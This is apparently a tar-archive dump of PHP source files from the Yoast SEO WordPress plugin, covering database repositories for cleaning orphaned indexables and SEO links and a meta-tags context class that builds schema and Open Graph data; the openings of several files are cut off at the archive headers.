$indexable_table = Model::get_table_name( 'Indexable' );
$author_archive_post_types = $this->author_archive->get_author_archive_post_types();
$viewable_post_stati = \array_filter( \get_post_stati(), 'is_post_status_viewable' );
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: Too hard to fix.
// phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
$count_query = $wpdb->prepare(
"SELECT count(*) FROM $indexable_table
WHERE object_type = 'user'
AND object_id NOT IN (
SELECT DISTINCT post_author
FROM $wpdb->posts
WHERE post_type IN ( " . \implode( ', ', \array_fill( 0, \count( $author_archive_post_types ), '%s' ) ) . ' )
AND post_status IN ( ' . \implode( ', ', \array_fill( 0, \count( $viewable_post_stati ), '%s' ) ) . ' )
)',
\array_merge( $author_archive_post_types, $viewable_post_stati ),
);
// phpcs:enable
// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
return $wpdb->get_col( $count_query )[0];
// phpcs:enable
}
/**
* Deletes rows from the indexable table where the source is no longer there.
*
* @param string $source_table The source table which we need to check the indexables against.
* @param string $source_identifier The identifier which the indexables are matched to.
* @param string $object_type The indexable object type.
* @param int $limit The limit we'll apply to the delete query.
*
* @return int|bool The number of rows that was deleted or false if the query failed.
*/
public function clean_indexables_for_object_type_and_source_table( $source_table, $source_identifier, $object_type, $limit ) {
global $wpdb;
$indexable_table = Model::get_table_name( 'Indexable' );
$source_table = $wpdb->prefix . $source_table;
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
$query = $wpdb->prepare(
"
SELECT indexable_table.object_id
FROM {$indexable_table} indexable_table
LEFT JOIN {$source_table} AS source_table
ON indexable_table.object_id = source_table.{$source_identifier}
WHERE source_table.{$source_identifier} IS NULL
AND indexable_table.object_id IS NOT NULL
AND indexable_table.object_type = '{$object_type}'
LIMIT %d",
$limit,
);
// phpcs:enable
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
$orphans = $wpdb->get_col( $query );
if ( empty( $orphans ) ) {
return 0;
}
// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
return $wpdb->query( "DELETE FROM $indexable_table WHERE object_type = '{$object_type}' AND object_id IN( " . \implode( ',', $orphans ) . ' )' );
}
/**
* Deletes rows from the indexable table where the source is no longer there.
*
* @param int $limit The limit we'll apply to the delete query.
*
* @return int|bool The number of rows that was deleted or false if the query failed.
*/
public function clean_indexables_for_orphaned_users( $limit ) {
global $wpdb;
$indexable_table = Model::get_table_name( 'Indexable' );
$source_table = $wpdb->users;
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
$query = $wpdb->prepare(
"
SELECT indexable_table.object_id
FROM {$indexable_table} indexable_table
LEFT JOIN {$source_table} AS source_table
ON indexable_table.object_id = source_table.ID
WHERE source_table.ID IS NULL
AND indexable_table.object_id IS NOT NULL
AND indexable_table.object_type = 'user'
LIMIT %d",
$limit,
);
// phpcs:enable
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
$orphans = $wpdb->get_col( $query );
if ( empty( $orphans ) ) {
return 0;
}
// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
return $wpdb->query( "DELETE FROM $indexable_table WHERE object_type = 'user' AND object_id IN( " . \implode( ',', $orphans ) . ' )' );
}
/**
* Counts indexables for given source table + source identifier + object type.
*
* @param string $source_table The source table.
* @param string $source_identifier The source identifier.
* @param string $object_type The object type.
*
* @return mixed
*/
public function count_indexables_for_object_type_and_source_table( string $source_table, string $source_identifier, string $object_type ) {
global $wpdb;
$indexable_table = Model::get_table_name( 'Indexable' );
$source_table = $wpdb->prefix . $source_table;
// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
return $wpdb->get_col(
"
SELECT count(*)
FROM {$indexable_table} indexable_table
LEFT JOIN {$source_table} AS source_table
ON indexable_table.object_id = source_table.{$source_identifier}
WHERE source_table.{$source_identifier} IS NULL
AND indexable_table.object_id IS NOT NULL
AND indexable_table.object_type = '{$object_type}'",
)[0];
// phpcs:enable
}
/**
* Counts indexables for orphaned users.
*
* @return mixed
*/
public function count_indexables_for_orphaned_users() {
global $wpdb;
$indexable_table = Model::get_table_name( 'Indexable' );
$source_table = $wpdb->users;
//phpcs:disable WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
return $wpdb->get_col(
"
SELECT count(*)
FROM {$indexable_table} indexable_table
LEFT JOIN {$source_table} AS source_table
ON indexable_table.object_id = source_table.ID
WHERE source_table.ID IS NULL
AND indexable_table.object_id IS NOT NULL
AND indexable_table.object_type = 'user'",
)[0];
// phpcs:enable
}
/**
* Cleans orphaned rows from a yoast table.
*
* @param string $table The table to clean up.
* @param string $column The table column the cleanup will rely on.
* @param int $limit The limit we'll apply to the queries.
*
* @return int|bool The number of deleted rows, false if the query fails.
*/
public function cleanup_orphaned_from_table( $table, $column, $limit ) {
global $wpdb;
$table = Model::get_table_name( $table );
$indexable_table = Model::get_table_name( 'Indexable' );
// Warning: If this query is changed, make sure to update the query in cleanup_orphaned_from_table in Premium as well.
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
$query = $wpdb->prepare(
"
SELECT table_to_clean.{$column}
FROM {$table} table_to_clean
LEFT JOIN {$indexable_table} AS indexable_table
ON table_to_clean.{$column} = indexable_table.id
WHERE indexable_table.id IS NULL
AND table_to_clean.{$column} IS NOT NULL
LIMIT %d",
$limit,
);
// phpcs:enable
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
$orphans = $wpdb->get_col( $query );
if ( empty( $orphans ) ) {
return 0;
}
// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
return $wpdb->query( "DELETE FROM $table WHERE {$column} IN( " . \implode( ',', $orphans ) . ' )' );
}
/**
* Counts orphaned rows from a yoast table.
*
* @param string $table The table to clean up.
* @param string $column The table column the cleanup will rely on.
*
* @return int|bool The number of deleted rows, false if the query fails.
*/
public function count_orphaned_from_table( string $table, string $column ) {
global $wpdb;
$table = Model::get_table_name( $table );
$indexable_table = Model::get_table_name( 'Indexable' );
// Warning: If this query is changed, make sure to update the query in cleanup_orphaned_from_table in Premium as well.
// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
return $wpdb->get_col(
"
SELECT count(*)
FROM {$table} table_to_clean
LEFT JOIN {$indexable_table} AS indexable_table
ON table_to_clean.{$column} = indexable_table.id
WHERE indexable_table.id IS NULL
AND table_to_clean.{$column} IS NOT NULL",
)[0];
// phpcs:enable
}
/**
* Updates the author_id of indexables which author_id is not in the wp_users table with the id of the reassingned
* user.
*
* @param int $limit The limit we'll apply to the queries.
*
* @return int|bool The number of updated rows, false if query to get data fails.
*/
public function update_indexables_author_to_reassigned( $limit ) {
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.PreparedSQL.InterpolatedNotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
$reassigned_authors_objs = $this->get_reassigned_authors( $limit );
if ( $reassigned_authors_objs === false ) {
return false;
}
return $this->update_indexable_authors( $reassigned_authors_objs, $limit );
}
/**
* Fetches pairs of old_id -> new_id indexed by old_id.
* By using the old_id (i.e. the id of the user that has been deleted) as key of the associative array, we can
* easily compose an array of unique pairs of old_id -> new_id.
*
* @param int $limit The limit we'll apply to the queries.
*
* @return int|bool The associative array with shape [ old_id => [ old_id, new_author ] ] or false if query to get
* data fails.
*/
private function get_reassigned_authors( $limit ) {
global $wpdb;
$indexable_table = Model::get_table_name( 'Indexable' );
$posts_table = $wpdb->posts;
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
$query = $wpdb->prepare(
"
SELECT {$indexable_table}.author_id, {$posts_table}.post_author
FROM {$indexable_table} JOIN {$posts_table} on {$indexable_table}.object_id = {$posts_table}.id
WHERE object_type='post'
AND {$indexable_table}.author_id <> {$posts_table}.post_author
GROUP BY {$indexable_table}.author_id, {$posts_table}.post_author
ORDER BY {$indexable_table}.author_id
LIMIT %d",
$limit,
);
// phpcs:enable
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
return $wpdb->get_results( $query, \OBJECT_K );
}
/**
* Updates the indexable's author_id referring to a deleted author with the id of the reassigned user.
*
* @param array $reassigned_authors_objs The array of objects with shape [ old_id => [ old_id, new_id ] ].
* @param int $limit The limit we'll apply to the queries.
*
* @return int|bool The associative array with shape [ old_id => [ old_id, new_author ] ] or false if query to get
* data fails.
*/
private function update_indexable_authors( $reassigned_authors_objs, $limit ) {
global $wpdb;
$indexable_table = Model::get_table_name( 'Indexable' );
// This is a workaround for the fact that the array_column function does not work on objects in PHP 5.6.
$reassigned_authors_array = \array_map(
static function ( $obj ) {
return (array) $obj;
},
$reassigned_authors_objs,
);
$reassigned_authors = \array_combine( \array_column( $reassigned_authors_array, 'author_id' ), \array_column( $reassigned_authors_array, 'post_author' ) );
foreach ( $reassigned_authors as $old_author_id => $new_author_id ) {
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
$query = $wpdb->prepare(
"
UPDATE {$indexable_table}
SET {$indexable_table}.author_id = {$new_author_id}
WHERE {$indexable_table}.author_id = {$old_author_id}
AND object_type='post'
LIMIT %d",
$limit,
);
// phpcs:enable
// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared,WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: Already prepared.
$wpdb->query( $query );
}
return \count( $reassigned_authors );
}
}
repositories/primary-term-repository.php 0000644 00000002236 15207625431 0014661 0 ustar 00 query()
->where( 'post_id', $post_id )
->where( 'taxonomy', $taxonomy )
->find_one();
if ( $auto_create && ! $primary_term_indexable ) {
$primary_term_indexable = $this->query()->create();
}
return $primary_term_indexable;
}
}
repositories/indexable-hierarchy-repository.php 0000644 00000007623 15207625431 0016145 0 ustar 00 builder = $builder;
}
/**
* Sets the indexable helper.
*
* @required
*
* @param Indexable_Helper $indexable_helper The indexable helper.
*
* @return void
*/
public function set_helper( Indexable_Helper $indexable_helper ) {
$this->indexable_helper = $indexable_helper;
}
/**
* Removes all ancestors for an indexable.
*
* @param int $indexable_id The indexable id.
*
* @return bool Whether or not the indexables were successfully deleted.
*/
public function clear_ancestors( $indexable_id ) {
return $this->query()->where( 'indexable_id', $indexable_id )->delete_many();
}
/**
* Adds an ancestor to an indexable.
*
* @param int $indexable_id The indexable id.
* @param int $ancestor_id The ancestor id.
* @param int $depth The depth.
*
* @return bool Whether or not the ancestor was added successfully.
*/
public function add_ancestor( $indexable_id, $ancestor_id, $depth ) {
if ( ! $this->indexable_helper->should_index_indexables() ) {
return false;
}
$hierarchy = $this->query()->create(
[
'indexable_id' => $indexable_id,
'ancestor_id' => $ancestor_id,
'depth' => $depth,
'blog_id' => \get_current_blog_id(),
],
);
return $hierarchy->save();
}
/**
* Retrieves the ancestors. Create them when empty.
*
* @param Indexable $indexable The indexable to get the ancestors for.
*
* @return int[] The indexable id's of the ancestors in order of grandparent to child.
*/
public function find_ancestors( Indexable $indexable ) {
$ancestors = $this->query()
->select( 'ancestor_id' )
->where( 'indexable_id', $indexable->id )
->order_by_desc( 'depth' )
->find_array();
if ( ! empty( $ancestors ) ) {
if ( \count( $ancestors ) === 1 && $ancestors[0]['ancestor_id'] === '0' ) {
return [];
}
return \wp_list_pluck( $ancestors, 'ancestor_id' );
}
$indexable = $this->builder->build( $indexable );
return \wp_list_pluck( $indexable->ancestors, 'id' );
}
/**
* Finds the children for a given indexable.
*
* @param Indexable $indexable The indexable to find the children for.
*
* @return array Array with indexable id's for the children.
*/
public function find_children( Indexable $indexable ) {
$children = $this->query()
->select( 'indexable_id' )
->where( 'ancestor_id', $indexable->id )
->find_array();
if ( empty( $children ) ) {
return [];
}
return \wp_list_pluck( $children, 'indexable_id' );
}
/**
* Starts a query for this repository.
*
* @return ORM
*/
public function query() {
return Model::of_type( 'Indexable_Hierarchy' );
}
/**
* Finds all the children by given ancestor id's.
*
* @param array $object_ids List of id's to get the children for.
*
* @return array List of indexable id's for the children.
*/
public function find_children_by_ancestor_ids( array $object_ids ) {
if ( empty( $object_ids ) ) {
return [];
}
$children = $this->query()
->select( 'indexable_id' )
->where_in( 'ancestor_id', $object_ids )
->find_array();
if ( empty( $children ) ) {
return [];
}
return \wp_list_pluck( $children, 'indexable_id' );
}
}
repositories/seo-links-repository.php 0000644 00000012640 15207625432 0014136 0 ustar 00 query()
->where( 'post_id', $post_id )
->find_many();
}
/**
* Finds all SEO Links by indexable ID.
*
* @param int $indexable_id The indexable ID.
*
* @return SEO_Links[] The SEO Links.
*/
public function find_all_by_indexable_id( $indexable_id ) {
return $this->query()
->where( 'indexable_id', $indexable_id )
->find_many();
}
/**
* Retrieves an SEO Link by url.
*
* @param string $url The SEO Link's url.
*
* @return SEO_Links|false The SEO Link, or false if none found.
*/
public function find_one_by_url( $url ) {
return $this->query()
->select( 'target_post_id' )
->where( 'url', $url )
->find_one();
}
/**
* Retrieves all SEO Links by target post ID.
*
* @param string $target_post_id The SEO Link's target post ID.
*
* @return SEO_Links[] The SEO Links.
*/
public function find_all_by_target_post_id( $target_post_id ) {
return $this->query()
->where( 'target_post_id', $target_post_id )
->find_many();
}
/**
* Updates the ID of the target indexable of a link.
*
* @param int $link_id The ID of the link to be updated.
* @param int $target_indexable_id The ID of the target indexable.
*
* @return bool Whether or not the update was succeful.
*/
public function update_target_indexable_id( $link_id, $target_indexable_id ) {
return (bool) $this->query()
->set( 'target_indexable_id', $target_indexable_id )
->where( 'id', $link_id )
->update_many();
}
/**
* Clears all SEO Links by post ID.
*
* @param int $post_id The post ID.
*
* @return bool Whether or not the delete was succesfull.
*/
public function delete_all_by_post_id( $post_id ) {
return $this->query()
->where( 'post_id', $post_id )
->delete_many();
}
/**
* Clears all SEO Links by post ID where the indexable id is null.
*
* @param int $post_id The post ID.
*
* @return bool Whether or not the delete was succesfull.
*/
public function delete_all_by_post_id_where_indexable_id_null( $post_id ) {
return $this->query()
->where( 'post_id', $post_id )
->where_null( 'indexable_id' )
->delete_many();
}
/**
* Clears all SEO Links by indexable ID.
*
* @param int $indexable_id The indexable ID.
*
* @return bool Whether or not the delete was succesfull.
*/
public function delete_all_by_indexable_id( $indexable_id ) {
return $this->query()
->where( 'indexable_id', $indexable_id )
->delete_many();
}
/**
* Returns incoming link counts for a number of posts.
*
* @param array $post_ids The post IDs.
*
* @return array An array of associative arrays, each containing a post id and incoming property.
*/
public function get_incoming_link_counts_for_post_ids( $post_ids ) {
return $this->query()
->select_expr( 'COUNT( id )', 'incoming' )
->select( 'target_post_id', 'post_id' )
->where_in( 'target_post_id', $post_ids )
->group_by( 'target_post_id' )
->find_array();
}
/**
* Returns incoming link counts for a number of indexables.
*
* @param array $indexable_ids The indexable IDs.
*
* @return array An array of associative arrays, each containing a indexable id and incoming property.
*/
public function get_incoming_link_counts_for_indexable_ids( $indexable_ids ) {
if ( empty( $indexable_ids ) ) {
return [];
}
// This query only returns ID's with an incoming count > 0. We need to restore any ID's with 0 incoming links later.
$indexable_counts = $this->query()
->select_expr( 'COUNT( id )', 'incoming' )
->select( 'target_indexable_id' )
->where_in( 'target_indexable_id', $indexable_ids )
->group_by( 'target_indexable_id' )
->find_array();
// If the above query fails, do not update anything.
if ( ! \is_array( $indexable_counts ) ) {
return [];
}
// Get all ID's returned from the query and set them as keys for easy access.
$returned_ids = \array_flip( \array_column( $indexable_counts, 'target_indexable_id' ) );
// Loop over the original ID's and search them in the returned ID's. If they don't exist, add them with an incoming count of 0.
foreach ( $indexable_ids as $id ) {
// Cast the ID to string, as the arrays only contain stringified versions of the ID.
$id = (string) $id;
if ( isset( $returned_ids[ $id ] ) === false ) {
$indexable_counts[] = [
'incoming' => '0',
'target_indexable_id' => $id,
];
}
}
return $indexable_counts;
}
/**
* Deletes all seo links for the given ids.
*
* @param int[] $ids The seo link ids.
*
* @return bool Whether or not the delete was succesfull.
*/
public function delete_many_by_id( $ids ) {
return $this->query()
->where_in( 'id', $ids )
->delete_many();
}
/**
* Insert multiple seo links.
*
* @param SEO_Links[] $links The seo links to be inserted.
*
* @return bool Whether or not the insert was succesfull.
*/
public function insert_many( $links ) {
return $this->query()
->insert_many( $links );
}
}
context/meta-tags-context.php 0000644 00000046134 15207625432 0012323 0 ustar 00 options = $options;
$this->url = $url;
$this->image = $image;
$this->id_helper = $id_helper;
$this->replace_vars = $replace_vars;
$this->site = $site;
$this->user = $user;
$this->permalink_helper = $permalink_helper;
$this->indexable_helper = $indexable_helper;
$this->indexable_repository = $indexable_repository;
}
/**
* Generates the title.
*
* @return string the title
*/
public function generate_title() {
return $this->replace_vars->replace( $this->presentation->title, $this->presentation->source );
}
/**
* Generates the description.
*
* @return string the description
*/
public function generate_description() {
return $this->replace_vars->replace( $this->presentation->meta_description, $this->presentation->source );
}
/**
* Generates the canonical.
*
* @return string the canonical
*/
public function generate_canonical() {
return $this->presentation->canonical;
}
/**
* Generates the permalink.
*
* @return string
*/
public function generate_permalink() {
if ( ! \is_search() ) {
return $this->presentation->permalink;
}
return \add_query_arg( 's', \rawurlencode( \get_search_query() ), \trailingslashit( $this->site_url ) );
}
/**
* Generates the id.
*
* @return string the id
*/
public function generate_id() {
return $this->indexable->object_id;
}
/**
* Generates the site name.
*
* @return string The site name.
*/
public function generate_site_name() {
$site_name = $this->options->get( 'website_name', '' );
if ( $site_name !== '' ) {
return $site_name;
}
return \get_bloginfo( 'name' );
}
/**
* Generates the alternate site name.
*
* @return string The alternate site name.
*/
public function generate_alternate_site_name() {
return (string) $this->options->get( 'alternate_website_name', '' );
}
/**
* Generates the site name from the WordPress options.
*
* @return string The site name from the WordPress options.
*/
public function generate_wordpress_site_name() {
return $this->site->get_site_name();
}
/**
* Generates the site url.
*
* @return string The site url.
*/
public function generate_site_url() {
$home_page_indexable = $this->indexable_repository->find_for_home_page();
if ( $this->indexable_helper->dynamic_permalinks_enabled() ) {
return \trailingslashit( $this->permalink_helper->get_permalink_for_indexable( $home_page_indexable ) );
}
return \trailingslashit( $home_page_indexable->permalink );
}
/**
* Generates the company name.
*
* @return string The company name.
*/
public function generate_company_name() {
/**
* Filter: 'wpseo_schema_company_name' - Allows filtering company name
*
* @param string $company_name.
*/
$company_name = \apply_filters( 'wpseo_schema_company_name', $this->options->get( 'company_name' ) );
if ( empty( $company_name ) ) {
$company_name = $this->site_name;
}
return $company_name;
}
/**
* Generates the alternate company name.
*
* @return string
*/
public function generate_company_alternate_name() {
return (string) $this->options->get( 'company_alternate_name' );
}
/**
* Generates the person logo id.
*
* @return int|bool The company logo id.
*/
public function generate_person_logo_id() {
$person_logo_id = $this->image->get_attachment_id_from_settings( 'person_logo' );
if ( empty( $person_logo_id ) ) {
$person_logo_id = $this->fallback_to_site_logo();
}
/**
* Filter: 'wpseo_schema_person_logo_id' - Allows filtering person logo id.
*
* @param int $person_logo_id.
*/
return \apply_filters( 'wpseo_schema_person_logo_id', $person_logo_id );
}
/**
* Retrieve the person logo meta.
*
* @return array>|bool
*/
public function generate_person_logo_meta() {
$person_logo_meta = $this->image->get_attachment_meta_from_settings( 'person_logo' );
if ( empty( $person_logo_meta ) ) {
$person_logo_id = $this->fallback_to_site_logo();
$person_logo_meta = $this->image->get_best_attachment_variation( $person_logo_id );
}
/**
* Filter: 'wpseo_schema_person_logo_meta' - Allows filtering person logo meta.
*
* @param string $person_logo_meta.
*/
return \apply_filters( 'wpseo_schema_person_logo_meta', $person_logo_meta );
}
/**
* Generates the company logo id.
*
* @return int|bool The company logo id.
*/
public function generate_company_logo_id() {
$company_logo_id = $this->image->get_attachment_id_from_settings( 'company_logo' );
if ( empty( $company_logo_id ) ) {
$company_logo_id = $this->fallback_to_site_logo();
}
/**
* Filter: 'wpseo_schema_company_logo_id' - Allows filtering company logo id.
*
* @param int $company_logo_id.
*/
return \apply_filters( 'wpseo_schema_company_logo_id', $company_logo_id );
}
/**
* Retrieve the company logo meta.
*
* @return array>|bool
*/
public function generate_company_logo_meta() {
$company_logo_meta = $this->image->get_attachment_meta_from_settings( 'company_logo' );
/**
* Filter: 'wpseo_schema_company_logo_meta' - Allows filtering company logo meta.
*
* @param string $company_logo_meta.
*/
return \apply_filters( 'wpseo_schema_company_logo_meta', $company_logo_meta );
}
/**
* Generates the site user id.
*
* @return int The site user id.
*/
public function generate_site_user_id() {
return (int) $this->options->get( 'company_or_person_user_id', false );
}
/**
* Determines what our site represents, and grabs their values.
*
* @return string|false Person or company. False if invalid value.
*/
public function generate_site_represents() {
switch ( $this->options->get( 'company_or_person', false ) ) {
case 'company':
// Do not use a non-named company.
if ( empty( $this->company_name ) ) {
return false;
}
/*
* Do not use a company without a logo.
* The logic check is on `< 1` instead of `false` due to how `get_attachment_id_from_settings` works.
*/
if ( $this->company_logo_id < 1 ) {
return false;
}
return 'company';
case 'person':
// Do not use a non-existing user.
if ( $this->site_user_id !== false && \get_user_by( 'id', $this->site_user_id ) === false ) {
return false;
}
return 'person';
}
return false;
}
/**
* Returns the site represents reference.
*
* @return array|bool The site represents reference. False if none.
*/
public function generate_site_represents_reference() {
if ( $this->site_represents === 'person' ) {
return [ '@id' => $this->id_helper->get_user_schema_id( $this->site_user_id, $this ) ];
}
if ( $this->site_represents === 'company' ) {
return [ '@id' => $this->site_url . Schema_IDs::ORGANIZATION_HASH ];
}
return false;
}
/**
* Returns whether or not open graph is enabled.
*
* @return bool Whether or not open graph is enabled.
*/
public function generate_open_graph_enabled() {
return $this->options->get( 'opengraph' ) === true;
}
/**
* Returns the open graph publisher.
*
* @return string The open graph publisher.
*/
public function generate_open_graph_publisher() {
if ( $this->site_represents === 'company' ) {
return $this->options->get( 'facebook_site', '' );
}
if ( $this->site_represents === 'person' ) {
return $this->user->get_the_author_meta( 'facebook', $this->site_user_id );
}
return $this->options->get( 'facebook_site', '' );
}
/**
* Returns the twitter card type.
*
* @return string The twitter card type.
*/
public function generate_twitter_card() {
return 'summary_large_image';
}
/**
* Returns the schema page type.
*
* @return string|array The schema page type.
*/
public function generate_schema_page_type() {
switch ( $this->indexable->object_type ) {
case 'system-page':
switch ( $this->indexable->object_sub_type ) {
case 'search-result':
$type = [ 'CollectionPage', 'SearchResultsPage' ];
break;
default:
$type = 'WebPage';
}
break;
case 'user':
$type = 'ProfilePage';
break;
case 'home-page':
case 'date-archive':
case 'term':
case 'post-type-archive':
$type = 'CollectionPage';
break;
default:
$additional_type = $this->indexable->schema_page_type;
$additional_type ??= $this->options->get( 'schema-page-type-' . $this->indexable->object_sub_type );
$type = [ 'WebPage', $additional_type ];
// Is this indexable set as a page for posts, e.g. in the WordPress reading settings as a static homepage?
if ( (int) \get_option( 'page_for_posts' ) === $this->indexable->object_id ) {
$type[] = 'CollectionPage';
}
// Ensure we get only unique values, and remove any null values and the index.
$type = \array_filter( \array_values( \array_unique( $type ) ) );
}
/**
* Filter: 'wpseo_schema_webpage_type' - Allow changing the WebPage type.
*
* @param string|array $type The WebPage type.
*/
return \apply_filters( 'wpseo_schema_webpage_type', $type );
}
/**
* Returns the schema article type.
*
* @return string|array The schema article type.
*/
public function generate_schema_article_type() {
$additional_type = $this->indexable->schema_article_type;
$additional_type ??= $this->options->get( 'schema-article-type-' . $this->indexable->object_sub_type );
/** This filter is documented in inc/options/class-wpseo-option-titles.php */
$allowed_article_types = \apply_filters( 'wpseo_schema_article_types', Schema_Types::ARTICLE_TYPES );
if ( ! \array_key_exists( $additional_type, $allowed_article_types ) ) {
$additional_type = $this->options->get_title_default( 'schema-article-type-' . $this->indexable->object_sub_type );
}
// If the additional type is a subtype of Article, we're fine, and we can bail here.
if ( \stripos( $additional_type, 'Article' ) !== false ) {
/**
* Filter: 'wpseo_schema_article_type' - Allow changing the Article type.
*
* @param string|string[] $type The Article type.
* @param Indexable $indexable The indexable.
*/
return \apply_filters( 'wpseo_schema_article_type', $additional_type, $this->indexable );
}
$type = 'Article';
/*
* If `None` is set (either on the indexable or as a default), set type to 'None'.
* This simplifies is_needed checks downstream.
*/
if ( $additional_type === 'None' ) {
$type = $additional_type;
}
if ( $additional_type !== $type ) {
$type = [ $type, $additional_type ];
}
// Filter documented on line 499 above.
return \apply_filters( 'wpseo_schema_article_type', $type, $this->indexable );
}
/**
* Returns the main schema id.
*
* The main schema id.
*
* @return string
*/
public function generate_main_schema_id() {
return $this->permalink;
}
/**
* Retrieves the main image URL. This is the featured image by default.
*
* @return string|null The main image URL.
*/
public function generate_main_image_url() {
if ( $this->main_image_id !== null ) {
return $this->image->get_attachment_image_url( $this->main_image_id, 'full' );
}
if ( \wp_is_serving_rest_request() ) {
return $this->get_main_image_url_for_rest_request();
}
if ( ! \is_singular() ) {
return null;
}
$url = $this->image->get_post_content_image( $this->id );
if ( $url === '' ) {
return null;
}
return $url;
}
/**
* Generates the main image ID.
*
* @return int|null The main image ID.
*/
public function generate_main_image_id() {
if ( \wp_is_serving_rest_request() ) {
return $this->get_main_image_id_for_rest_request();
}
$image_id = null;
switch ( true ) {
case \is_singular():
$image_id = $this->get_singular_post_image( $this->id );
break;
case \is_author():
case \is_tax():
case \is_tag():
case \is_category():
case \is_search():
case \is_date():
case \is_post_type_archive():
if ( ! empty( $GLOBALS['wp_query']->posts ) ) {
if ( $GLOBALS['wp_query']->get( 'fields', 'all' ) === 'ids' ) {
$image_id = $this->get_singular_post_image( $GLOBALS['wp_query']->posts[0] );
break;
}
$image_id = $this->get_singular_post_image( $GLOBALS['wp_query']->posts[0]->ID );
}
break;
}
/**
* Filter: 'wpseo_schema_main_image_id' - Allow changing the main image ID.
*
* @param int|array $image_id The image ID.
*/
return \apply_filters( 'wpseo_schema_main_image_id', $image_id );
}
/**
* Determines whether the current indexable has an image.
*
* @return bool Whether the current indexable has an image.
*/
public function generate_has_image() {
return $this->main_image_url !== null;
}
/**
* Strips all nested dependencies from the debug info.
*
* @return array
*/
public function __debugInfo() {
return [
'indexable' => $this->indexable,
'presentation' => $this->presentation,
];
}
/**
* Retrieve the site logo ID from WordPress settings.
*
* @return int|false
*/
public function fallback_to_site_logo() {
$logo_id = \get_option( 'site_logo' );
if ( ! $logo_id ) {
$logo_id = \get_theme_mod( 'custom_logo', false );
}
return $logo_id;
}
/**
* Get the ID for a post's featured image.
*
* @param int $id Post ID.
*
* @return int|null
*/
private function get_singular_post_image( $id ) {
if ( \has_post_thumbnail( $id ) ) {
$thumbnail_id = \get_post_thumbnail_id( $id );
// Prevent returning something else than an int or null.
if ( \is_int( $thumbnail_id ) && $thumbnail_id > 0 ) {
return $thumbnail_id;
}
}
if ( \is_singular( 'attachment' ) ) {
return \get_query_var( 'attachment_id' );
}
return null;
}
/**
* Gets the main image ID for REST requests.
*
* @return int|null The main image ID.
*/
private function get_main_image_id_for_rest_request() {
switch ( $this->page_type ) {
case 'Post_Type':
if ( $this->post instanceof WP_Post ) {
return $this->get_singular_post_image( $this->post->ID );
}
return null;
default:
return null;
}
}
/**
* Gets the main image URL for REST requests.
*
* @return string|null The main image URL.
*/
private function get_main_image_url_for_rest_request() {
switch ( $this->page_type ) {
case 'Post_Type':
if ( $this->post instanceof WP_Post ) {
$url = $this->image->get_post_content_image( $this->post->ID );
if ( $url === '' ) {
return null;
}
return $url;
}
return null;
default:
return null;
}
}
}
\class_alias( Meta_Tags_Context::class, 'WPSEO_Schema_Context' );
ai-http-request/domain/response.php 0000644 00000003734 15207625432 0013433 0 ustar 00
*/
private $missing_licenses;
/**
* Response constructor.
*
* @param string $body The response body.
* @param int $response_code The response code.
* @param string $message The response message.
* @param string $error_code The error code.
* @param array $missing_licenses The missing licenses.
*/
public function __construct( string $body, int $response_code, string $message, string $error_code = '', $missing_licenses = [] ) {
